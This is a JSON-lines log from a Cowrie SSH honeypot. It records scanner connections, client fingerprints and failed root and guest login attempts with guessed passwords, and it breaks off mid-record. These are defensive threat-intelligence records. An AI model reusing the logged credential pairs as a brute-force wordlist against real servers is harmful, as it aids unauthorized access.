{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:26.932720Z","src_ip":"91.92.40.176","session":"f496902fbc11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:27.013086Z","src_ip":"91.92.40.176","session":"f496902fbc11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:27.255312Z","src_ip":"211.251.245.88","session":"9446e281370c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:27.513774Z","src_ip":"91.92.40.176","session":"f496902fbc11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:28.998050Z","src_ip":"91.92.40.176","session":"f496902fbc11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.195","src_port":38906,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac4e03061bf9","protocol":"ssh","message":"New connection: 118.26.36.195:38906 (159.203.135.109:22) [session: ac4e03061bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:33.258326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:33.261941Z","src_ip":"118.26.36.195","session":"ac4e03061bf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:33.484391Z","src_ip":"118.26.36.195","session":"ac4e03061bf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7ujm8ik,9ol.","message":"login attempt [root/7ujm8ik,9ol.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:34.405630Z","src_ip":"118.26.36.195","session":"ac4e03061bf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:35.629904Z","src_ip":"118.26.36.195","session":"ac4e03061bf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":57390,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaa4d57e1401","protocol":"ssh","message":"New connection: 103.78.1.33:57390 (10.17.0.5:22) [session: eaa4d57e1401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:40.695422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:40.698958Z","src_ip":"103.78.1.33","session":"eaa4d57e1401","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:40.919817Z","src_ip":"103.78.1.33","session":"eaa4d57e1401","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc2024","message":"login attempt [root/abc2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:41.837744Z","src_ip":"103.78.1.33","session":"eaa4d57e1401","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:43.060764Z","src_ip":"103.78.1.33","session":"eaa4d57e1401","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":35726,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b649dc4033e","protocol":"ssh","message":"New connection: 14.55.144.22:35726 (159.203.135.109:22) [session: 1b649dc4033e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:48.047467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:48.052223Z","src_ip":"14.55.144.22","session":"1b649dc4033e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:48.251980Z","src_ip":"14.55.144.22","session":"1b649dc4033e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2010","message":"login attempt [root/admin2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:49.077900Z","src_ip":"14.55.144.22","session":"1b649dc4033e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:50.287455Z","src_ip":"14.55.144.22","session":"1b649dc4033e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.113.139.51","src_port":49106,"dst_ip":"159.203.135.109","dst_port":22,"session":"37ca1f4d18b2","protocol":"ssh","message":"New connection: 185.113.139.51:49106 (159.203.135.109:22) [session: 37ca1f4d18b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:53.464734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:53.468561Z","src_ip":"185.113.139.51","session":"37ca1f4d18b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:53.563862Z","src_ip":"185.113.139.51","session":"37ca1f4d18b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git!2025","message":"login attempt [git/git!2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:53.977200Z","src_ip":"185.113.139.51","session":"37ca1f4d18b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:55.075577Z","src_ip":"185.113.139.51","session":"37ca1f4d18b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":45780,"dst_ip":"10.17.0.5","dst_port":22,"session":"9688ead48ecf","protocol":"ssh","message":"New connection: 103.122.221.179:45780 (10.17.0.5:22) [session: 9688ead48ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:04.197602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:04.201150Z","src_ip":"103.122.221.179","session":"9688ead48ecf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:04.452884Z","src_ip":"103.122.221.179","session":"9688ead48ecf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"280991","message":"login attempt [root/280991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:05.209309Z","src_ip":"103.122.221.179","session":"9688ead48ecf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.170.38","src_port":54340,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3187bd8b85e","protocol":"ssh","message":"New connection: 160.22.170.38:54340 (10.17.0.5:22) [session: e3187bd8b85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:05.442221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:05.445802Z","src_ip":"160.22.170.38","session":"e3187bd8b85e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:06.391466Z","src_ip":"160.22.170.38","session":"e3187bd8b85e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:06.462926Z","src_ip":"103.122.221.179","session":"9688ead48ecf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.101.45","src_port":52230,"dst_ip":"10.17.0.5","dst_port":22,"session":"40ed7edbc011","protocol":"ssh","message":"New connection: 81.177.101.45:52230 (10.17.0.5:22) [session: 40ed7edbc011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:07.112315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:07.138491Z","src_ip":"81.177.101.45","session":"40ed7edbc011","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:07.264041Z","src_ip":"81.177.101.45","session":"40ed7edbc011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123123123","message":"login attempt [root/Root123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:07.714257Z","src_ip":"160.22.170.38","session":"e3187bd8b85e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxc!@#123","message":"login attempt [root/Zxc!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:07.841134Z","src_ip":"81.177.101.45","session":"40ed7edbc011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:08.973735Z","src_ip":"81.177.101.45","session":"40ed7edbc011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:09.050547Z","src_ip":"160.22.170.38","session":"e3187bd8b85e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.96.178.216","src_port":55004,"dst_ip":"10.17.0.5","dst_port":22,"session":"8aba0a545da6","protocol":"ssh","message":"New connection: 38.96.178.216:55004 (10.17.0.5:22) [session: 8aba0a545da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:13.169393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:38:13.172913Z","src_ip":"38.96.178.216","session":"8aba0a545da6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v